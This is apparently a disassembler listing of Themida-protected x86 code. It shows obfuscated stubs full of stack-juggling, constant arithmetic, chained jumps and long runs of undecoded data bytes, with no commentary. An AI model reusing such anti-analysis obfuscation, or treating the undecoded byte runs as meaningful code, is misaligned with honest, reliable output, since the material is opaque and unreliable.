; ---------------------------------------------------------------------------


loc_5556EF:				; CODE XREF: Themida_:00558B63j
		pop	edi
		add	eax, ecx
		pop	ecx
		shl	eax, 4
		or	eax, 66CC75D8h
		add	eax, 4E1B0D78h
		mov	ebp, eax
		jmp	loc_55CB22
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 5E7C000h, 5108E7C0h, 70EFE950h, 0F3800000h, 1EB80A1h
		dd 0E939EB80h, 6A16h, 8324048Bh, 545704C4h, 81243C8Bh
		dd 4C4h, 4B85000h, 0E9000000h, 7F92h
; ---------------------------------------------------------------------------


loc_555744:				; CODE XREF: Themida_:0055F491j
		add	ecx, 14ED3850h
		jmp	loc_553ECB
; ---------------------------------------------------------------------------
		db 59h
		dd 0E924048Bh, 1EE1h
; ---------------------------------------------------------------------------


loc_555758:				; CODE XREF: Themida_:0055CDB7j
		mov	ebx, 3AE41DCAh
		sub	ebx, 61971490h
		jmp	loc_55A72C
; ---------------------------------------------------------------------------


loc_555768:				; CODE XREF: Themida_:0055A94Cj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		shr	eax, 18h
		xor	eax, ecx
		xor	eax, ebx
		xor	ebx, eax
		xor	eax, ebx
		push	55F7h
		mov	[esp], ebx
		not	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_55A748
; ---------------------------------------------------------------------------
		dd 0D6E95Bh, 81660000h,	71912434h, 0FFFE91E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5557A1:				; CODE XREF: Themida_:00558835j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_55351F
; ---------------------------------------------------------------------------
		dd 4268BA52h, 0D00104B3h, 0E9E8015Ah, 4B59h, 0E9241489h
		dd 0FFFFE40Bh
dword_5557C8	dd 240C8B66h, 86A9E9h, 2474FF00h, 1EB1E904h, 0E8010000h
					; DATA XREF: Themida_:00553318o
		dd 0E9575B5Dh, 61BDh, 254F6851h, 50591207h, 0FFF66FE9h
		dd 0E78159FFh, 23472E15h, 0C108EFC1h, 0C78104EFh, 27B704A8h
		dd 0C15FFA21h, 6AE905E2h
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55580F:				; CODE XREF: Themida_:0055454Ej
		sub	al, 79h
		sub	al, 8Fh
		jmp	loc_55D3F3
; ---------------------------------------------------------------------------


loc_555818:				; CODE XREF: Themida_:0055D8CAj
		mov	[esp], ecx
		mov	ecx, eax
		mov	edx, ecx
		jmp	loc_55DDAD
; ---------------------------------------------------------------------------
		dd 5FA3BF57h, 0CF8107FEh, 5576264Dh, 5B23E9h, 0E3895300h
		dd 4C381h, 0C3830000h, 241C8704h, 5954515Ch, 38D4BB53h
		dd 0EBC173CBh, 0CB814303h, 20A72560h, 5B92E9h, 0DCBDE900h
		dd 405FFFFh, 0E9000000h, 365Bh,	5C243C87h, 6C50E9h, 49F28100h
		dd 0C141383Dh, 0EA8108EAh, 8B3D94h, 6D22C581h, 0D5013F23h
		dd 6D22ED81h, 535A3F23h, 0B776EBBh, 7EBA5237h, 4A34441Bh
		dd 0E905EAC1h, 6698h
aFnfvfps00	db 'f­fVfPé00',0        ; DATA XREF: Themida_:00553264o
		db 0
; ---------------------------------------------------------------------------


loc_5558B3:				; CODE XREF: Themida_:00556B20j
		push	ebp
		neg	dword ptr [esp]
		pop	ebp
		jmp	loc_55D4E3
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 5AD68h, 24048900h, 96F7E9h
		db 0
; ---------------------------------------------------------------------------


loc_5558CD:				; CODE XREF: Themida_:00558BE6j
		mov	esi, esp
		jmp	loc_559672
; ---------------------------------------------------------------------------
		dd 0EC83C6FEh, 24048904h, 2CE903B0h, 35000018h,	5DA2014Ah
		dd 8727E9h, 24143300h, 0E9241431h, 6D12h, 8704C783h, 5C243Ch
		dd 2434FFF8h, 2CB6E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55590A:				; CODE XREF: Themida_:0055D7B9j
		push	ebp
		push	1360h
		jmp	loc_553EA1
; ---------------------------------------------------------------------------
		db 5Ch,	0E9h, 0F3h
		db 0EDh, 2 dup(0FFh)
byte_55591B	db 0FFh			; DATA XREF: Themida_:0055329Co
		dd 0EC811C77h, 4, 0E9241C89h, 4C06h, 8F59CB29h,	0DBE9E900h
		dd 1C31FFFFh, 241C3324h, 3124248Bh, 0D8E92404h,	81FFFFDBh
		dd 0CCB13FC7h, 26E965h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555952:				; CODE XREF: Themida_:00559932j
		sub	eax, 2
		xchg	eax, [esp]
		jmp	loc_5596F7
; ---------------------------------------------------------------------------
aZsqc		db 'ZéŸC',0
		dw 8300h
		dd 0E95302C3h, 0FFFFEE37h, 0CFE959B2h, 0E9000008h, 0FFFFDBA7h
		dd 0E95FFA29h, 1DB9h
; ---------------------------------------------------------------------------


loc_555980:				; CODE XREF: Themida_:0055C71Ej
		pop	esi
		xor	ebp, ecx
		mov	ecx, [esp]
		jmp	loc_55DBD6
; ---------------------------------------------------------------------------


loc_55598B:				; CODE XREF: Themida_:005551C6j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	ebx
		mov	ebx, 32873E6Bh
		push	ebp
		push	eax
		mov	eax, 74AF229Eh
		mov	ebp, offset word_577E4A
		jmp	loc_559619
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 4C281h, 0E9520000h, 3E71h, 0B606F705h, 5937E972h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5559CE:				; CODE XREF: Themida_:00553E67j
		add	esp, 4


loc_5559D1:				; CODE XREF: Themida_:00556E4Bj
		push	2371h
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 4
		jmp	loc_55B604
; ---------------------------------------------------------------------------
dword_5559F0	dd 240C8B66h, 666168h, 243C8900h, 0F29E9h, 7E8BF00h, 0D7F73A31h
					; DATA XREF: Themida_:00553444o
		dd 28AF781h, 0CF81658Ch, 2D130F47h, 0E639EF81h,	0EA813062h
		dd 356554BDh, 0C281FA01h, 356554BDh, 0FCC2815Fh, 0FF7F2F56h
		dd 24048B32h, 5A04C483h, 1E0968h, 24048900h, 0AF0AEBB8h
		dd 0F8F20518h, 0C201ED18h, 0DBEA8158h, 11A2065h, 0DBC281C2h
		dd 831A2065h, 348904ECh, 0A1E95024h, 8900008Eh,	34FF241Ch
		db 24h,	5Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	ecx
		push	eax
		mov	eax, 685C18F9h
		add	eax, 97A3E70Bh
		mov	ecx, eax
		pop	eax
		add	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55B8FE
; ---------------------------------------------------------------------------
		db 0B8h, 36h, 1Ah
		dd 0C301213Bh, 97E95058h
		db 55h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555ABF:				; CODE XREF: Themida_:0055CF41j
		shl	edx, 1
		push	1F8Bh
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 2EC315Bh
		jmp	loc_5577F6
; ---------------------------------------------------------------------------


loc_555AD9:				; CODE XREF: Themida_:005556C4j
		pop	edx
		pop	ecx
		sub	edi, 8C3F60h
		add	edi, edx
		add	edi, 8C3F60h
		pop	edx
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_5567F8
; ---------------------------------------------------------------------------


loc_555AF4:				; CODE XREF: Themida_:0055BAE5j
		push	13F6h
		mov	[esp], eax
		mov	eax, 69CF26B0h
		jmp	loc_55B1D2
; ---------------------------------------------------------------------------


loc_555B06:				; CODE XREF: Themida_:00557227j
		sub	ecx, 19CC313Fh
		add	ecx, 41599D0Fh
		mov	edx, ecx
		pop	ecx
		shr	edx, 3
		jmp	loc_55C325
; ---------------------------------------------------------------------------
		db 29h,	0D1h, 81h
		dd 552C01C1h, 112D5A31h, 2946673Fh, 3F1105C8h, 0C8B4667h
		dd 59545124h, 4C181h, 6AE90000h, 5DFFFFF9h, 81240C8Bh
		dd 4C4h, 58BE5600h, 0E9596658h,	0AD9h
; ---------------------------------------------------------------------------


loc_555B58:				; CODE XREF: Themida_:0055DAA0j
		xchg	esi, [esp]
		pop	esp
		push	991h
		mov	[esp], ecx
		push	3F9h
		mov	[esp], ebx
		jmp	loc_5550A0
; ---------------------------------------------------------------------------
		db 89h,	0E5h, 52h
		dd 0FFE62CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_555B79:				; CODE XREF: Themida_:00557FAAj
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		mov	edi, [esp]
		jmp	loc_55BCE9
; ---------------------------------------------------------------------------


loc_555B98:				; CODE XREF: Themida_:00554B9Aj
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	eax, [esp]
		add	esp, 4
		push	4308h
		mov	[esp], edx
		sub	esp, 4
		jmp	loc_557043
; ---------------------------------------------------------------------------
		dw 6C81h
		dd 7D970424h, 5B5B19DFh, 4C381h, 94E90000h, 50FFFFFDh
		dd 725031B8h, 58C63129h, 315EF131h, 0BAE959CEh,	83000057h
		dd 3C8904ECh, 73C06824h, 5BE90000h
		db 35h,	2 dup(0)
byte_555BF3	db 0ACh			; DATA XREF: Themida_:005533D8o
		dd 0E904EC83h, 492Bh, 34BA5257h, 513F325Ch, 8C72F2B9h
		dd 0C181417Ch, 0E6CACB15h, 8959CA31h, 17E95AD7h, 29FFFFEFh
		dd 0C14759CFh, 0E7C102E7h, 4BE5606h, 310C6363h,	0F8015EF7h
		dd 8C5BE9h, 72E95300h, 8B00002Bh, 0CFE92414h, 6600004Fh
		dd 66297868h, 0E9240489h, 0FFFFD8CFh
dword_555C50	dd 0B60F6664h, 17686602h, 4896641h, 0D8BDE924h,	0B4BDFFFFh
					; DATA XREF: Themida_:00553430o
		dd 21269B7Bh, 242C8BEAh, 9F80E9h, 241C8B00h, 4C481h, 0F0280000h
		dd 466045Ah, 2CC0FED4h,	0E9C38875h, 1F57h, 40F7EA81h, 335B7951h
		dd 14312414h, 24143324h, 4FF665Ch, 59E99C24h
		db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555CA7:				; CODE XREF: Themida_:0055A055j
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 788A2764h
		add	edi, esi
		pop	esi
		xor	edi, 0A86F769Fh
		xor	eax, edi
		push	dword ptr [esp]
		jmp	loc_55E480
; ---------------------------------------------------------------------------


loc_555CC9:				; CODE XREF: Themida_:00554CDDj
		sub	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	ebx, 360F7678h
		sub	ebx, eax
		add	ebx, 360F7678h
		push	eax
		mov	eax, 56447FA9h
		jmp	loc_5541C1
; ---------------------------------------------------------------------------


loc_555CED:				; CODE XREF: Themida_:0055DFF1j
		pop	eax
		mov	ebx, [esp]
		jmp	loc_55F0B5
; ---------------------------------------------------------------------------
word_555CF6	dw 8B66h		; DATA XREF: Themida_:0055343Co
		dd 17E92404h
		db 9Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555CFF:				; CODE XREF: Themida_:0055C26Fj
		mov	[esp], eax
		jmp	loc_55351F
; ---------------------------------------------------------------------------
byte_555D07	db 66h			; DATA XREF: Themida_:00553468o
		db 8Bh,	0Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		jmp	loc_55DC42
; ---------------------------------------------------------------------------
		db 5Ah,	0E9h, 2Eh
		dd 0C1000001h, 0B95108E3h, 5D16BB04h, 7458E9h, 28DFB200h
		dd 0D7F7E9D1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555D36:				; CODE XREF: Themida_:0055A3E8j
		mov	ecx, [esp]
		jmp	loc_554102
; ---------------------------------------------------------------------------


loc_555D3E:				; CODE XREF: Themida_:00559651j
		mov	dx, [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		sub	esp, 4
		jmp	loc_55B5E9
; ---------------------------------------------------------------------------


loc_555D55:				; CODE XREF: Themida_:005564ECj
		mov	[esp], edx
		not	dword ptr [esp]
		pop	edx
		xchg	edx, [esp]
		mov	eax, [esp]
		add	esp, 4
		push	3B7Ah
		mov	[esp], ebp
		push	56ACh
		mov	[esp], edx
		push	7EE7h
		mov	[esp], ecx
		push	625604DFh
		pop	ecx
		jmp	loc_55721C
; ---------------------------------------------------------------------------


loc_555D8B:				; CODE XREF: Themida_:0055D0F2j
		pop	esp
		and	ecx, ebp
		pop	ebp
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_55AD4E
; ---------------------------------------------------------------------------


loc_555DA3:				; CODE XREF: Themida_:0055C79Dj
		sub	edx, 2651AAFh
		add	edx, edi
		push	esi
		mov	esi, 2651AAFh
		add	edx, esi
		pop	esi
		add	dword ptr [edx], 1
		pop	edx


loc_555DBB:				; CODE XREF: Themida_:0055F05Aj
		sub	esp, 4
		mov	[esp], edi
		push	ebx
		pop	edi
		push	edi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_558BE5
; ---------------------------------------------------------------------------


loc_555DD0:				; CODE XREF: Themida_:00559CC2j
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		shr	eax, 0Eh
		xor	eax, ecx
		xor	eax, ebx
		xor	ebx, eax
		xor	eax, ebx
		sub	esp, 4
		mov	[esp], ebx
		xchg	ebx, [esp]
		xchg	edx, ebx
		not	edx
		jmp	loc_55DA6F
; ---------------------------------------------------------------------------
		dd 89242C89h, 0DBB1E9E5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555DFE:				; CODE XREF: Themida_:0055E04Fj
		shl	esi, 4
		add	esi, 0ADCD18D5h
		mov	edi, esi
		pop	esi
		add	dword ptr [esp+4], 18AC28D7h
		add	[esp+4], edi
		push	6726h
		mov	[esp], ebx
		mov	ebx, 18AC28D7h
		jmp	loc_556672
; ---------------------------------------------------------------------------
		dd 83E95A54h
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555E2F:				; CODE XREF: Themida_:0055AC4Aj
		push	947h
		mov	[esp], eax
		mov	eax, 1626E4CEh
		sub	ebx, eax
		pop	eax
		add	eax, ebx
		pop	ebx
		sub	esp, 4
		jmp	loc_55F0AC
; ---------------------------------------------------------------------------
		db 31h,	0F3h, 5Eh
		dd 8C14E105h, 2DD82975h, 758C14E1h, 5B2434FFh, 0E9E38953h
		dd 15CBh, 57E9C501h, 0BA00005Fh, 3BE3639Eh, 8245401h, 44BFE9h
		db 0
; ---------------------------------------------------------------------------


loc_555E7D:				; CODE XREF: Themida_:0055E3FBj
		pop	edx
		pop	ebx


loc_555E7F:				; CODE XREF: Themida_:005537D7j
					; Themida_:0055F997j
		push	edi
		push	15E3h
		jmp	loc_553AF4
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 3D231DAEh, 0ED81FD29h, 3D231DAEh, 242C875Fh,	48F545Ch
		dd 24048324h, 24048F04h, 4BA5250h, 0E9000000h, 0FFFFE9B8h
		dd 0F389DE29h, 6E3C15Eh, 6AEEE9h, 23700500h, 0B95146FBh
		dd 0D8F6B94h, 0C8BC801h, 4C48124h, 81000000h, 462911C7h
		dd 0E9C70107h, 5519h, 98E95756h, 51000077h, 31E9E189h
		dd 56000031h, 42474FFh,	24048F5Eh, 66E9F65Ch, 0E9CCB60Fh
		dd 936Dh
; ---------------------------------------------------------------------------


loc_555F08:				; CODE XREF: Themida_:0055A0CDj
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		push	ecx
		mov	ecx, 4
		add	esi, 7E141F85h
		sub	esi, ecx
		sub	esi, 7E141F85h
		pop	ecx
		jmp	loc_558741
; ---------------------------------------------------------------------------
		db 20h
		dd 0ED09E9F9h, 6658FFFFh, 661F1D68h, 0B0240489h, 66C20057h
		dd 4490458h, 2CD000F3h,	0FF492CF3h, 835A2434h, 686604C4h
		dd 89664536h, 0EC81240Ch, 4, 0B6241489h, 58E68071h, 9A05E9h
		db 0
; ---------------------------------------------------------------------------


loc_555F7D:				; CODE XREF: Themida_:005594F4j
		mov	ah, bh
		jmp	loc_557F92
; ---------------------------------------------------------------------------
		dd 24148758h, 2414895Ch, 8CE99C50h, 29FFFFD5h, 295859CFh
		dd 2434FFFDh, 4C4815Fh,	87000000h, 248B242Ch, 240C8924h
		dd 0FFD56EE9h, 2D30BAFFh, 0DEE94A74h, 66000051h, 64E5C381h
		dd 1362E9h
		db 0
; ---------------------------------------------------------------------------


loc_555FC5:				; CODE XREF: Themida_:00553DA5j
		add	eax, 0CF61B551h
		add	eax, 170E01C6h
		add	eax, 45C56F68h
		add	eax, ebx
		jmp	loc_558213
; ---------------------------------------------------------------------------
		db 5Ch
		dd 66E1F766h, 666C4568h, 0E9241489h, 3730h, 0E99C5166h
		dd 0FFFFD52Bh
; ---------------------------------------------------------------------------


loc_555FF4:				; CODE XREF: Themida_:0055A1C6j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55B047
; ---------------------------------------------------------------------------
		db 31h,	0FBh, 5Fh
		dd 8E9D901h
		db 33h,	2 dup(0)
byte_556007	db 0FFh			; DATA XREF: Themida_:00553450o
		dd 34FF2434h, 49E6E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556012:				; CODE XREF: Themida_:0055FBCFj
		pop	eax
		add	dword ptr [ebx], 1
		jmp	loc_55D1A7
; ---------------------------------------------------------------------------


loc_55601E:				; CODE XREF: Themida_:0055B2CDj
		xor	eax, [esp]
		pop	esp
		jmp	loc_5580BD
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0BA241489h, 0
		dd 0FFF24EE9h, 15EA80FFh, 95E9D588h
		db 2Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55603F:				; CODE XREF: Themida_:005596E1j
		or	esi, 22976951h
		shl	esi, 1
		sub	esi, 16829109h
		add	esi, 39495D52h
		sub	esi, ebp
		sub	esi, 39495D52h
		pop	ebp
		and	eax, esi
		mov	esi, [esp]
		add	esp, 4
		or	edx, eax
		jmp	loc_55C6DE
; ---------------------------------------------------------------------------
		db 5Ah
		dd 2C8BEF01h, 4C48124h,	68000000h, 6F16h, 0BA241489h, 2
		dd 335AD701h, 3C31243Ch, 243C3324h, 6624248Bh, 9C240431h
		dd 0FFD482E9h
		db 0FFh
byte_55609D	db 0ADh, 31h, 0D8h	; DATA XREF: Themida_:00553340o
		dd 0FFEDDDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5560A5:				; CODE XREF: Themida_:00553E07j
		sub	ebx, 6187065Ah
		jmp	loc_559A69
; ---------------------------------------------------------------------------


loc_5560B0:				; CODE XREF: Themida_:0055B902j
		jmp	loc_55351F
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 0E8C0D2B0h, 66632C07h, 473B551h, 2CE80057h, 28596657h
		dd 0EB8058C3h, 80C328EDh, 8BE9EDC3h, 81000014h,	72D02404h
		dd 7E91E91h, 5EFFFFDAh,	5C240487h, 89240489h, 405E0h, 2050000h
		dd 50000000h, 90EFE9h
		db 0
; ---------------------------------------------------------------------------


loc_556101:				; CODE XREF: Themida_:0055DDB1j
		pop	eax
		add	esp, 4


loc_556108:				; CODE XREF: Themida_:0055CE41j
					; Themida_:0055F9D4j
		push	dword ptr [edi+24h]
		push	dword ptr [esp]
		pop	ecx
		push	42Eh
		jmp	loc_55C70A
; ---------------------------------------------------------------------------
aIcssc		db '‰æé™C',0
		align 10h
		dd 8AE9FD01h, 8B000001h, 0D7E92434h, 0B3000018h, 0C4CB8033h
		dd 0C380D3F6h, 992CE9B7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55613E:				; CODE XREF: Themida_:0055E2E3j
		mov	ebx, 1C8D5862h
		xor	ebx, 1C8DD862h
		and	eax, ebx
		jmp	loc_553B24
; ---------------------------------------------------------------------------
		dd 4C481h, 0BD550000h, 2, 2680E9h
		db 0
; ---------------------------------------------------------------------------


loc_556161:				; CODE XREF: Themida_:0055E2A7j
		xor	ebx, 0F4BAAD76h
		add	esi, ebx
		jmp	loc_554616
; ---------------------------------------------------------------------------
		dw 4C2Ch
		dd 50240C8Bh, 405E089h,	5000000h, 4, 0E9240487h, 4769h
		dd 3AE9F901h, 8300004Bh, 0C38104C4h, 4,	0E9E68956h, 8706h
		dd 8AE9D989h
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5561A7:				; CODE XREF: Themida_:0055FA18j
		pop	eax
		add	esp, 4
		add	bl, dh
		mov	dx, [esp]
		jmp	loc_55782D
; ---------------------------------------------------------------------------
word_5561B6	dw 48Bh			; DATA XREF: Themida_:00553494o
		dd 8B545524h, 0C483242Ch, 4C58104h, 57000000h, 0AF0E9h
		db 0
; ---------------------------------------------------------------------------


loc_5561CD:				; CODE XREF: Themida_:0055830Ej
		mov	esi, 4
		add	ecx, 3AC4784Eh
		add	ecx, esi
		sub	ecx, 3AC4784Eh
		pop	esi
		add	ecx, 4
		jmp	loc_55A0E2
; ---------------------------------------------------------------------------
		dd 815DE901h, 2C1h, 240C8700h, 48B665Ch, 0CD685324h, 0E9000011h
		dd 5B0Bh
; ---------------------------------------------------------------------------


loc_556208:				; CODE XREF: Themida_:0055A0C7j
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		jmp	loc_55D204
; ---------------------------------------------------------------------------
		dd 1C8B2E04h, 4C48324h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55EB50
; ---------------------------------------------------------------------------


loc_556224:				; CODE XREF: Themida_:0055CE17j
		push	edi
		mov	edi, 1
		mov	eax, edi
		pop	edi
		push	1E3Dh
		jmp	loc_55436A
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 90F4E900h, 0D3000000h,	5CE95Ah, 0CD310000h, 0E9240C8Bh
		dd 743Fh, 8704ED83h, 895C242Ch,	24B1240Ch, 8084E980h, 0CA2868C2h
		dd 80C9B151h, 0C9FEF3C9h, 3E9C1FEh
		db 48h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_556277:				; CODE XREF: Themida_:0055B8E9j
		not	ecx
		jmp	loc_559BC2
; ---------------------------------------------------------------------------


loc_55627E:				; CODE XREF: Themida_:00559E0Ej
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], cx
		jmp	loc_55351F
; ---------------------------------------------------------------------------
		dw 0D328h
		dd 5059EB80h, 39AE9h, 2C335F00h, 242C3124h, 0E9242C33h
		dd 2C67h, 742180BDh, 1D72E976h,	34B20000h, 69E9CAFEh, 80FFFFE0h
		dd 0CCE9ECC5h, 53FFFFDCh, 2C40E6BBh, 6625E96Bh,	24890000h
		dd 24048324h, 0C7815F04h, 4, 2BE56h, 0F7010000h, 8324348Bh
		dd 0FF5704C4h, 8B042474h
		db 3Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55968E
; ---------------------------------------------------------------------------
		dw 1433h
		dd 24248B24h, 7905E9h, 0EA285900h, 6622C280h, 64A6E959h
		dd 0C2800000h, 33E1E980h, 0D6010000h, 13E3EE81h, 148B0B66h
		dd 1FE95224h
		db 77h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_556343:				; CODE XREF: Themida_:00559EB9j
		sub	ebp, ecx
		pop	ecx
		jmp	loc_558884
; ---------------------------------------------------------------------------
		db 81h
		dd 42404h, 75E90000h, 68000089h, 15B0h,	0B2241489h, 7E2C035h
		dd 0D2F6CAFEh, 736E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55636E:				; CODE XREF: Themida_:0055F564j
		mov	edi, 6BE6677Bh
		or	edi, 713E43B2h
		shl	edi, 2
		sub	edi, 0EFF99FE8h
		add	esi, 5DDC071Ch
		add	esi, edi
		push	edx
		jmp	loc_558C95
; ---------------------------------------------------------------------------


loc_556390:				; CODE XREF: Themida_:0055E828j
		neg	ecx
		not	ecx
		sub	ecx, 3B9F2B67h
		jmp	loc_55C0C5
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0EA8107EAh, 0E7B05BFDh, 815AD131h, 0D93FB4E1h, 84F18150h
		dd 110D128h, 240C8BCFh,	59DDE9h, 8B400h, 88525AF4h, 0F08850E6h
		dd 0B0E9C588h, 0BFFFFF1h, 66840FC0h, 83000040h,	348904ECh
		dd 685E5324h, 347Bh, 0FF243489h, 0E9582434h, 77FFh
; ---------------------------------------------------------------------------


loc_5563F4:				; CODE XREF: Themida_:0055C0ECj
		mov	edx, esp
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_558EEB
; ---------------------------------------------------------------------------


loc_55640E:				; CODE XREF: Themida_:0055CA07j
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_557FD6
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0F38105EBh, 40EC4590h, 9445E9h, 6EFC100h, 5105EFC1h
		dd 820661B9h, 0E9CF0927h, 0FFFFD29Ch
; ---------------------------------------------------------------------------


loc_55643C:				; CODE XREF: Themida_:0055534Bj
		push	cx
		mov	cl, 59h
		jmp	loc_553C7D
; ---------------------------------------------------------------------------
		db 29h,	0D6h, 8Bh
		dd 0C4812414h, 4, 565EF001h, 3AD26857h,	815F27CAh, 0CA3AD0EFh
		dd 0E9FE8927h, 85EAh, 1291E281h, 0F2815333h, 4E76536Ah
		dd 15AD629h, 0FBC681EEh, 0FF0F5443h, 2C8B2434h,	4410E924h
		dd 0EA810000h, 5F071E8Ch, 241C8B58h, 4490E9h
		db 0
; ---------------------------------------------------------------------------


loc_556499:				; CODE XREF: Themida_:00559CD0j
		add	ebp, edx
		pop	edx
		jmp	loc_557CC0
; ---------------------------------------------------------------------------


loc_5564A1:				; CODE XREF: Themida_:0055B4B7j
		mov	edi, 1
		sub	ebx, edi
		pop	edi
		jmp	loc_55DDF6
; ---------------------------------------------------------------------------
		dw 3C87h
		dd 0F1315C24h, 3A5F35Eh, 2EE93862h
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5564BF:				; CODE XREF: Themida_:0055F18Bj
		push	edx
		jmp	loc_553CF2
; ---------------------------------------------------------------------------
byte_5564C5	db 0FFh, 34h, 24h	; DATA XREF: Themida_:00553358o
		dd 59545159h, 4C181h, 0FAE90000h, 81000034h, 70AF6C2h
		dd 81EA2921h, 70AF6EAh,	34E95D21h
		db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5564EB:				; CODE XREF: Themida_:0055F8B4j
		pop	esp
		jmp	loc_555D55
; ---------------------------------------------------------------------------


loc_5564F1:				; CODE XREF: Themida_:005575E1j
		mov	edx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		sub	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_55E1BA
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 8A41E9h, 0E1895100h,	4C181h,	0C1830000h, 240C8704h
		dd 69DFE9h, 4C18300h, 75B4E9h, 55CB8100h, 813F5B35h, 5E0893C3h
		dd 608CE999h, 1C8B0000h, 0D077E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55654E:				; CODE XREF: Themida_:0055BD29j
		mov	ebx, 142626D2h
		xor	edi, ebx
		pop	ebx
		jmp	loc_5553DB
; ---------------------------------------------------------------------------


loc_55655B:				; CODE XREF: Themida_:0055D73Cj
		add	edi, 274C6E9Ah
		pop	eax
		add	edi, 4
		jmp	loc_55CE39
; ---------------------------------------------------------------------------
a1Sa		db '1Èé ',1Bh,0
		dd 20350500h, 0F8016242h, 44FFBA52h, 0F2812AB2h, 48F064CAh
		dd 8B5AD029h, 27E9243Ch, 89000078h, 0E952242Ch,	0FFFFD3DBh
; ---------------------------------------------------------------------------


loc_556598:				; CODE XREF: Themida_:0055CA71j
		mov	eax, 4
		add	esi, eax
		pop	eax
		xchg	esi, [esp]
		jmp	loc_55A2BE
; ---------------------------------------------------------------------------


loc_5565A8:				; CODE XREF: Themida_:00559614j
		pop	esi
		inc	esi
		and	esi, 53066B35h
		add	esi, 68AAD776h
		mov	ebp, esi
		pop	esi
		sub	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	eax, 1
		sub	eax, 102755D7h
		mov	ebx, eax
		pop	eax
		sub	edi, ebx
		mov	ebx, [esp]
		jmp	loc_554452
; ---------------------------------------------------------------------------
		dd 240C895Ch, 4D6FBF57h, 0D7F76A3Ah, 76BDBD55h,	0D5F773D6h
		dd 7F00F581h, 0F58110F9h, 7E1627D0h, 7822E9h, 1CF68100h
		dd 814A977Dh, 82EB26EEh, 36C68107h, 2101340Bh, 4355EF0h
